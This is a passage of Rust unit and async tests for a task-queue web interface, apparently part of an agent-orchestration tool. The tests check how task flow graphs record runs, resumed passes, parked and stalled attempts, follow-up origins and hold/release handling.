15738 }
15739 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15741 t
15742 }
15743
15744 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15745 let h = task_history(task, |id| {
15746 states
15747 .iter()
15748 .find(|(i, _)| *i == id)
15749 .and_then(|(_, s)| s.clone())
15750 });
15751 task_flow(task, &h, 5, None)
15752 }
15753
15754 #[test]
15755 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15756 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15757 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15758 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15759 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15760 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15761 let run = flow_run(RunStatus::Implementing, |s| {
15762 s.created_at = created;
15763 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15764 s.passes[0].started_at = first;
15765 s.passes[1].started_at = resumed;
15766 });
15767 let mut task = flow_task(&[RUN_X, RUN_X]);
15768 task.created_at = queued;
15769 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15770 task.status = TaskStatus::Held;
15771 task.held_at = Some(held);
15772 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15773 assert_eq!(
15774 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15775 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15776 );
15777 assert!(flow.nodes.iter().all(|n| n.time_expected));
15778 let json = serde_json::to_value(&flow).unwrap();
15779 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15780 assert_eq!(json["nodes"][2]["time_expected"], true);
15781 }
15782
15783 #[test]
15784 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15785 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15786 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15787 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15788 task.held_at = Some(created);
15790 task.blocked_at = Some(created);
15791 for status in [
15792 TaskStatus::Queued,
15793 TaskStatus::Running,
15794 TaskStatus::Blocked,
15795 TaskStatus::Done,
15796 TaskStatus::Failed,
15797 TaskStatus::Parked,
15798 TaskStatus::Held,
15799 ] {
15800 task.status = status;
15801 if status == TaskStatus::Held {
15802 task.held_at = None;
15803 }
15804 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15805 assert_eq!(flow.nodes[1].started_at, Some(created));
15806 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15807 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15808 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15809 let json = serde_json::to_value(&flow).unwrap();
15810 assert!(json["nodes"][3]["started_at"].is_null());
15811 assert_eq!(json["nodes"][3]["time_expected"], true);
15812 }
15813 }
15814
15815 #[test]
15816 fn flow_context_links_do_not_expect_start_times() {
15817 let mut task = flow_task(&[]);
15818 task.source = Source::Agent {
15819 run: "chat-id".to_owned(),
15820 node: "chat".to_owned(),
15821 };
15822 let origin = followup_origin(&fu(None), |_| None, |_| None);
15823 let flow = task_flow(&task, &[], 5, Some(&origin));
15824 for node in &flow.nodes[..2] {
15825 assert!(!node.time_expected);
15826 assert_eq!(node.started_at, None);
15827 }
15828 assert!(flow.nodes[2].time_expected);
15829 }
15830
15831 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15832 crate::queue::FollowUp {
15833 run: "20260901-000000-aaaa".to_owned(),
15834 origin_task: origin_task.map(str::to_owned),
15835 pr: "https://example.com/o/r/pull/1".to_owned(),
15836 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15837 .map(str::to_owned)
15838 .to_vec(),
15839 generation: 1,
15840 }
15841 }
15842
15843 fn parent_task() -> Task {
15844 let mut p = flow_task(&[]);
15845 p.title = "Parent title".to_owned();
15846 p.status = TaskStatus::Done;
15847 p
15848 }
15849
15850 #[test]
15851 fn flow_opens_with_the_parent_task_of_a_followup() {
15852 let p = parent_task();
15853 let pid = p.id.clone();
15854 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15855 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15856 let n = &f.nodes[0];
15857 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15858 assert_eq!(
15859 n.label,
15860 format!("Follow-up of {}", crate::queue::short(&pid))
15861 );
15862 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15863 assert_eq!(n.status, Some("done"));
15864 assert_eq!(n.status_of, "task");
15865 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15866 assert_eq!(f.nodes[1].key, "start");
15867 assert_eq!(f.edges[0].from, "origin");
15868 assert_eq!(
15869 f.edges[0].label,
15870 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15871 );
15872 }
15873
15874 #[test]
15875 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15876 let o = followup_origin(
15877 &fu(Some("gone")),
15878 |_| None,
15879 |_| {
15880 Some(RunState::new(
15881 std::path::PathBuf::from("."),
15882 "main".to_owned(),
15883 "0".to_owned(),
15884 "t".to_owned(),
15885 crate::config::Config::default(),
15886 ))
15887 },
15888 );
15889 assert!(o.parent.is_none());
15890 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15891 let n = &f.nodes[0];
15892 assert_eq!(n.status_of, "run");
15893 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15894 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15895 }
15896
15897 #[test]
15898 fn flow_followup_with_nothing_readable_has_no_link() {
15899 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15900 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15901 let n = &f.nodes[0];
15902 assert_eq!(n.href, None);
15903 assert_eq!(n.note, Some("unreadable"));
15904 assert!(!n.readable);
15905 }
15906
15907 #[test]
15908 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15909 let o = followup_origin(&fu(None), |_| None, |_| None);
15910 let mut t = flow_task(&[]);
15911 t.origin_chat = Some("c1".to_owned());
15912 let f = task_flow(&t, &[], 5, Some(&o));
15913 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15914 t.source = Source::Agent {
15915 run: "c1".to_owned(),
15916 node: crate::queue::CHAT_NODE.to_owned(),
15917 };
15918 let f = task_flow(&t, &[], 5, Some(&o));
15919 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15920 assert_eq!(
15921 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15922 ("chat", "origin")
15923 );
15924 }
15925
15926 #[test]
15927 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15928 let mut p = parent_task();
15929 p.id = "a b/c".to_owned();
15930 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15931 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15932 }
15933
15934 #[test]
15935 fn flow_opens_with_the_chat_that_queued_the_task() {
15936 let mut t = flow_task(&[]);
15937 t.source = Source::Agent {
15938 run: "a b/c".to_owned(),
15939 node: crate::queue::CHAT_NODE.to_owned(),
15940 };
15941 let f = flow_for(&t, &[]);
15942 assert_eq!(f.nodes[0].key, "chat");
15943 assert_eq!(f.nodes[0].kind, "chat");
15944 assert_eq!(
15945 f.nodes[0].label,
15946 format!("Chat {}", crate::queue::short("a b/c"))
15947 );
15948 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15949 assert_eq!(f.nodes[1].key, "start");
15950 assert_eq!(
15951 f.edges[0],
15952 FlowEdge {
15953 from: "chat".to_owned(),
15954 to: "start".to_owned(),
15955 label: "queued from chat".to_owned(),
15956 attempt: AttemptCost::None,
15957 }
15958 );
15959 }
15960
15961 #[test]
15962 fn flow_has_no_chat_box_for_other_sources() {
15963 for source in [
15964 Source::Human,
15965 Source::Issue {
15966 number: 3,
15967 repo: "o/r".to_owned(),
15968 },
15969 Source::Agent {
15970 run: "20260904-014455-ab12".to_owned(),
15971 node: "implement".to_owned(),
15972 },
15973 ] {
15974 let mut t = flow_task(&[]);
15975 t.source = source;
15976 let f = flow_for(&t, &[]);
15977 assert_eq!(f.nodes[0].key, "start");
15978 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15979 assert!(f.edges.iter().all(|e| e.from != "chat"));
15980 }
15981 }
15982
15983 const FA: &str = "20260902-140501-aaaa";
15984 const FB: &str = "20260902-140502-bbbb";
15985
15986 #[test]
15987 fn flow_follows_blocked_retry_merged_to_done() {
15988 let mut t = flow_task(&[FA, FB]);
15989 t.status = TaskStatus::Done;
15990 let f = flow_for(
15991 &t,
15992 &[
15993 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15994 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15995 ],
15996 );
15997 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15998 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15999 assert_eq!(f.edges.len(), 3);
16000 assert_eq!(f.edges[0].label, "claimed");
16001 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16002 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16003 assert_eq!(f.edges[2].label, "merged \u{2192} done");
16004 assert_eq!(
16005 f.nodes[2].href.as_deref(),
16006 Some("#/runs/20260902-140502-bbbb")
16007 );
16008 assert!(f.nodes[2].decided);
16009 }
16010
16011 #[test]
16012 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16013 let quota = || {
16014 flow_run(RunStatus::Stalled, |s| {
16015 s.quota.push(crate::run::QuotaLoss {
16016 seat: "judge-1".to_owned(),
16017 node: "judge".to_owned(),
16018 at: Timestamp::now(),
16019 reset: None,
16020 })
16021 })
16022 };
16023 let mut t = flow_task(&[FA, FA]);
16024 t.status = TaskStatus::Queued;
16025 let f = flow_for(&t, &[(FA, Some(quota()))]);
16026 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16027 assert_eq!(f.nodes[1].note, Some("interrupted"));
16028 assert_eq!(
16029 f.nodes[1].status, None,
16030 "no outcome copied onto an earlier pass"
16031 );
16032 assert_eq!(
16033 f.edges[1].attempt,
16034 AttemptCost::Unknown,
16035 "a resume does not prove the earlier pass was refunded"
16036 );
16037 assert!(f.edges[1].label.contains("resume the same run"));
16038 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16039 assert_eq!(
16040 f.edges[2].label,
16041 "stalled after a resume, refund unknown \u{2192} queued"
16042 );
16043 assert!(!f.nodes[2].decided, "a stall is not a decision");
16044 assert_eq!(f.nodes[2].note, Some("no verdict"));
16045 }
16046
16047 #[test]
16048 fn flow_single_pass_quota_stall_is_refunded() {
16049 let t = flow_task(&[FA]);
16050 let f = flow_for(
16051 &t,
16052 &[(
16053 FA,
16054 Some(flow_run(RunStatus::Stalled, |s| {
16055 s.quota.push(crate::run::QuotaLoss {
16056 seat: "judge-1".to_owned(),
16057 node: "judge".to_owned(),
16058 at: Timestamp::now(),
16059 reset: None,
16060 })
16061 })),
16062 )],
16063 );
16064 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16065 }
16066
16067 #[test]
16068 fn flow_parked_refunds_and_stall_without_quota_spends() {
16069 let mut t = flow_task(&[FA]);
16070 t.status = TaskStatus::Queued;
16071 let f = flow_for(
16072 &t,
16073 &[(
16074 FA,
16075 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16076 )],
16077 );
16078 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16079 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16080 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16081 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16082 assert!(!f.nodes[1].decided);
16083 }
16084
16085 #[test]
16086 fn flow_keeps_an_unreadable_run_as_its_own_node() {
16087 let t = flow_task(&[FA, FB]);
16088 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16089 assert_eq!(f.nodes[1].note, Some("unreadable"));
16090 assert!(!f.nodes[1].readable);
16091 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16092 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16093 }
16094
16095 #[test]
16096 fn flow_names_the_branch_of_a_review_only_run() {
16097 let t = flow_task(&[FA]);
16098 let f = flow_for(
16099 &t,
16100 &[(
16101 FA,
16102 Some(flow_run(RunStatus::Merged, |s| {
16103 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16104 })),
16105 )],
16106 );
16107 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16108 assert_eq!(
16109 f.nodes[1].detail.as_deref(),
16110 Some("review-only run of branch magi/x/A")
16111 );
16112 }
16113
16114 #[test]
16115 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16116 let mut t = flow_task(&[FA]);
16117 t.status = TaskStatus::Held;
16118 let pr = crate::run::PrRecord {
16119 url: "https://example.test/pr/1".to_owned(),
16120 number: 1,
16121 state: "open".to_owned(),
16122 checks: "green".to_owned(),
16123 round: 0,
16124 rounds: 3,
16125 red_at_merge: Vec::new(),
16126 };
16127 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16128 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16129 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16130 t.status = TaskStatus::Done;
16131 let f = flow_for(&t, &[(FA, Some(blocked))]);
16132 assert_eq!(f.edges[1].label, "closed by hand: task is done");
16133 }
16134
16135 #[test]
16136 fn flow_with_no_runs_goes_from_queued_to_queued() {
16137 let t = flow_task(&[]);
16138 let f = flow_for(&t, &[]);
16139 assert_eq!(f.nodes.len(), 2);
16140 assert_eq!(f.edges.len(), 1);
16141 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16142 assert_eq!(f.edges[0].attempt, AttemptCost::None);
16143 }
16144
16145 #[test]
16148 fn a_parked_non_terminal_run_is_explained_as_parked() {
16149 let mut s = RunState::new(
16150 PathBuf::from("/repo/magi"),
16151 "main".to_owned(),
16152 "0123456789abcdef".to_owned(),
16153 "Do it".to_owned(),
16154 Config::default(),
16155 );
16156 s.status = RunStatus::Implementing;
16157 s.parked = true;
16158 let task = Task::new(
16159 "t".to_owned(),
16160 "Do it".to_owned(),
16161 PathBuf::from("/repo/magi"),
16162 Source::Human,
16163 );
16164 let v = task_run_view(
16165 "20260902-140501-aaaa",
16166 Some(&s),
16167 RunSlot {
16168 n: 1,
16169 resumed: false,
16170 resumed_later: None,
16171 prior: None,
16172 last: true,
16173 ..RunSlot::default()
16174 },
16175 &task,
16176 );
16177 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16178 }
16179
16180 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16181 let mut s = flow_run(RunStatus::Implementing, edit);
16182 s.parked = false;
16183 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16184 task_run_view(
16185 "20260902-140501-aaaa",
16186 Some(&s),
16187 RunSlot {
16188 n: 1,
16189 resumed: false,
16190 resumed_later: Some(2),
16191 prior: None,
16192 last: false,
16193 ..RunSlot::default()
16194 },
16195 &task,
16196 )
16197 }
16198
16199 #[test]
16200 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16201 let v = earlier_pass_view(|_| {});
16202 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16203 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16204 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16205 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16206 assert_eq!(v.exit, RunExit::Interrupted);
16207 assert_eq!(v.attempt, AttemptCost::Unknown);
16208 }
16209
16210 #[test]
16211 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16212 let v = earlier_pass_view(|s| {
16213 s.quota.push(crate::run::QuotaLoss {
16214 seat: "judge-1".to_owned(),
16215 node: "judge".to_owned(),
16216 at: Timestamp::now(),
16217 reset: None,
16218 });
16219 });
16220 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16221 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16222 assert_eq!(v.attempt, AttemptCost::Unknown);
16223 }
16224
16225 #[test]
16226 fn the_current_pass_states_its_recorded_cause_and_cost() {
16227 let slot = || RunSlot {
16228 n: 1,
16229 resumed: false,
16230 resumed_later: None,
16231 prior: None,
16232 last: true,
16233 ..RunSlot::default()
16234 };
16235 let task = flow_task(&["20260902-140501-aaaa"]);
16236 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16237 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16238 assert_eq!(
16239 (v.exit, v.attempt),
16240 (RunExit::Parked, AttemptCost::Refunded)
16241 );
16242 let spent = flow_run(RunStatus::Blocked, |_| {});
16243 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16244 assert_eq!(v.attempt, AttemptCost::Spent);
16245 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16246 }
16247
16248 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16249 crate::run::RunPass {
16250 index,
16251 started_at: Timestamp::now(),
16252 resumed: index > 0,
16253 ended_at: end.as_ref().map(|_| Timestamp::now()),
16254 end,
16255 task_entry: true,
16256 }
16257 }
16258
16259 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16260 Some(crate::run::PassEnd::Parked { cause })
16261 }
16262
16263 fn upgrade_cause() -> crate::run::ParkCause {
16264 crate::run::ParkCause::Upgrade {
16265 from: "0.121.0".to_owned(),
16266 to: Some("0.121.1".to_owned()),
16267 }
16268 }
16269
16270 fn settled_pass(
16271 run: &str,
16272 index: usize,
16273 cost: crate::queue::PassCost,
16274 ) -> crate::queue::TaskPass {
16275 crate::queue::TaskPass {
16276 run: run.to_owned(),
16277 pass_index: index,
16278 started_at: None,
16279 cost,
16280 attempts_after: 1,
16281 settled_at: Timestamp::now(),
16282 parked: None,
16283 }
16284 }
16285
16286 const RUN_X: &str = "20261011-223708-4334";
16287
16288 #[test]
16289 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16290 use crate::queue::PassCost;
16291 let run = flow_run(RunStatus::Implementing, |s| {
16292 s.passes = vec![
16293 recorded_pass(0, parked(upgrade_cause())),
16294 recorded_pass(1, None),
16295 ];
16296 });
16297 let mut task = flow_task(&[RUN_X, RUN_X]);
16298 task.attempts = 1;
16299 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16300 let h = task_history(&task, |_| Some(run.clone()));
16301 assert_eq!(h.len(), 2);
16302 assert_eq!(h[0].kind, "competition");
16303 assert_eq!(h[1].kind, "resume");
16304 assert_eq!(
16305 (h[0].exit, h[0].attempt),
16306 (RunExit::Parked, AttemptCost::Refunded)
16307 );
16308 assert!(
16309 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16310 "{}",
16311 h[0].outcome
16312 );
16313 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16314 assert!(
16315 h[0].outcome.contains("pass #2 resumed the same run"),
16316 "{}",
16317 h[0].outcome
16318 );
16319 assert!(
16320 h[0].outcome.contains("pass 1 of 2 over run"),
16321 "{}",
16322 h[0].outcome
16323 );
16324 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16325 assert_eq!(
16326 h[0].exit_label,
16327 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16328 );
16329 let f = task_flow(&task, &h, 2, None);
16330 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16332 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16333 assert!(
16334 f.edges[1].label.contains("upgrade 0.121.0"),
16335 "{}",
16336 f.edges[1].label
16337 );
16338 assert!(
16339 f.edges[1].label.contains("resume the same run"),
16340 "{}",
16341 f.edges[1].label
16342 );
16343 assert_eq!(f.nodes[1].note, Some("parked"));
16344 }
16345
16346 #[test]
16347 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16348 let mut a = flow_run(RunStatus::Implementing, |s| {
16349 s.passes = vec![
16350 recorded_pass(0, parked(upgrade_cause())),
16351 recorded_pass(1, None),
16352 ];
16353 });
16354 let mut b = flow_run(RunStatus::Failed, |s| {
16355 s.passes = vec![recorded_pass(0, None)];
16356 });
16357 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16358 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16359 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16360 let mut task = flow_task(&[]);
16361 task.start("a".into());
16362 task.start("b".into());
16363 task.start("a".into());
16364 assert_eq!(task.runs, ["b", "a"]);
16365 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16366 let h = task_history(&task, |id| {
16367 Some(if id == "a" { a.clone() } else { b.clone() })
16368 });
16369 assert_eq!(
16370 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16371 ["a", "b", "a"]
16372 );
16373 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16374 assert!(h[0].outcome.contains("upgrade"));
16375 assert_eq!(h[2].kind, "resume");
16376 assert!(h[2].pass.is_some());
16377 task.runs = vec!["a".into(), "b".into(), "a".into()];
16379 let old = task_history(&task, |id| {
16380 Some(if id == "a" { a.clone() } else { b.clone() })
16381 });
16382 assert_eq!(
16383 old.iter()
16384 .map(|v| (&v.id, &v.kind, v.attempt))
16385 .collect::<Vec<_>>(),
16386 h.iter()
16387 .map(|v| (&v.id, &v.kind, v.attempt))
16388 .collect::<Vec<_>>()
16389 );
16390 }
16391
16392 #[test]
16393 fn an_upgrade_whose_target_was_not_known_says_so() {
16394 let run = flow_run(RunStatus::Implementing, |s| {
16395 s.passes = vec![
16396 recorded_pass(
16397 0,
16398 parked(crate::run::ParkCause::Upgrade {
16399 from: "0.121.0".to_owned(),
16400 to: None,
16401 }),
16402 ),
16403 recorded_pass(1, None),
16404 ];
16405 });
16406 let task = flow_task(&[RUN_X, RUN_X]);
16407 let h = task_history(&task, |_| Some(run.clone()));
16408 assert!(
16409 h[0].outcome.contains("upgrade from 0.121.0"),
16410 "{}",
16411 h[0].outcome
16412 );
16413 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16415 }
16416
16417 #[test]
16418 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16419 use crate::queue::PassCost;
16420 use crate::run::ParkCause;
16421 let run = flow_run(RunStatus::Implementing, |s| {
16422 s.passes = vec![
16423 recorded_pass(0, parked(upgrade_cause())),
16424 recorded_pass(
16425 1,
16426 parked(ParkCause::Interrupt {
16427 reason: "task a1b2 asked to run first".to_owned(),
16428 }),
16429 ),
16430 recorded_pass(2, parked(ParkCause::Operator)),
16431 recorded_pass(3, None),
16432 ];
16433 });
16434 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16435 task.attempts = 1;
16436 task.passes = (0..3)
16437 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16438 .collect();
16439 let h = task_history(&task, |_| Some(run.clone()));
16440 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16441 assert!(
16442 h[1].outcome.contains("task a1b2 asked to run first"),
16443 "{}",
16444 h[1].outcome
16445 );
16446 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16447 assert!(
16448 h[2].outcome.contains("operator asked the loop to park"),
16449 "{}",
16450 h[2].outcome
16451 );
16452 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16453 let f = task_flow(&task, &h, 2, None);
16454 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16455 }
16456
16457 #[test]
16458 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16459 let run = flow_run(RunStatus::Implementing, |s| {
16460 s.passes = vec![
16461 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16462 recorded_pass(1, None),
16463 ];
16464 });
16465 let task = flow_task(&[RUN_X, RUN_X]);
16466 let h = task_history(&task, |_| Some(run.clone()));
16467 assert_eq!(h[0].exit, RunExit::Interrupted);
16468 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16469 assert!(
16470 h[0].outcome.contains("without recording why"),
16471 "{}",
16472 h[0].outcome
16473 );
16474 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16475 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16476 }
16477
16478 #[test]
16479 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16480 use crate::queue::PassCost;
16481 let run = flow_run(RunStatus::Implementing, |s| {
16484 s.passes = vec![
16485 recorded_pass(0, parked(upgrade_cause())),
16486 recorded_pass(1, None),
16487 ];
16488 });
16489 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16490 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16491 let h = task_history(&task, |_| Some(run.clone()));
16492 assert!(h[0].pass.is_none());
16493 assert_eq!(h[0].exit, RunExit::Interrupted);
16494 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16495 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16496 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16497 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16498 let legacy = flow_run(RunStatus::Implementing, |_| {});
16500 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16501 assert!(h.iter().all(|v| v.pass.is_none()));
16502 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16503 }
16504
16505 #[test]
16506 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16507 use crate::queue::PassCost;
16508 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16511 web.task_entry = false;
16512 let run = flow_run(RunStatus::Implementing, |s| {
16513 s.passes = vec![
16514 recorded_pass(0, parked(upgrade_cause())),
16515 web.clone(),
16516 recorded_pass(2, None),
16517 ];
16518 });
16519 let mut task = flow_task(&[RUN_X, RUN_X]);
16520 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16521 let h = task_history(&task, |_| Some(run.clone()));
16522 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16523 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16524
16525 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16528 web0.task_entry = false;
16529 let run = flow_run(RunStatus::Implementing, |s| {
16530 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16531 });
16532 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16533 assert!(h[0].pass.is_none());
16534 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16535 assert!(h[1].pass.is_some());
16536 }
16537
16538 #[tokio::test]
16539 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16540 let dir = tempfile::tempdir().unwrap();
16541 let queue = Queue::at(dir.path().join("queue"));
16542 let ui = Arc::new(Ui::new(
16543 queue.clone(),
16544 Questions::at(dir.path().join("questions")),
16545 Talks::at(dir.path().join("talks")),
16546 dir.path().join("runs"),
16547 dir.path().to_path_buf(),
16548 dir.path().to_path_buf(),
16549 ));
16550 let mut t = Task::new(
16551 "recover".into(),
16552 "Inspect".into(),
16553 PathBuf::from("."),
16554 Source::Human,
16555 );
16556 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16557 t.start("run-A".into());
16558 t.release_operator("choice", Some("resume-question"));
16559 t.resume_override = Some(crate::queue::OperatorResume {
16560 question_id: "resume-question".into(),
16561 at: jiff::Timestamp::now(),
16562 conductor_rehold: None,
16563 forced: true,
16564 pinned_run: Some("run-A".into()),
16565 });
16566 t.hold_machine(Some("inspection pending".into()));
16567 t.edit("recover".into(), "Reuse approved PR head".into())
16568 .unwrap();
16569 queue.put(&mut t).unwrap();
16570 let mut cli = t.clone();
16571 cli.release_operator("cli", None);
16572 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16573 let reloaded = queue.get(&t.id).unwrap();
16574 assert_eq!(reply.task.status, TaskStatus::Queued);
16575 assert!(reloaded.resume_override.is_none());
16576 assert_eq!(reloaded.answers, t.answers);
16577 let mut web = reloaded.resumption.unwrap();
16578 let cli = cli.resumption.unwrap();
16579 assert_eq!(web.source, "web");
16580 web.source = cli.source.clone();
16581 web.at = cli.at;
16582 assert_eq!(web, cli);
16583 }
16584
16585 #[tokio::test]
16586 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16587 let f = Fixture::start().await;
16588 let queue = f.queue();
16589 let mut task = Task::new(
16590 "spent".to_owned(),
16591 "Try again".to_owned(),
16592 PathBuf::from("/repo/magi"),
16593 Source::Human,
16594 );
16595 task.start("20260902-140502-bbbb".to_owned());
16596 task.fail("agent gave up", 9);
16597 queue.put(&mut task).expect("file the task");
16598
16599 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16600 assert_eq!(held.status, 200);
16601 assert_eq!(held.json()["status_str"], "held");
16602
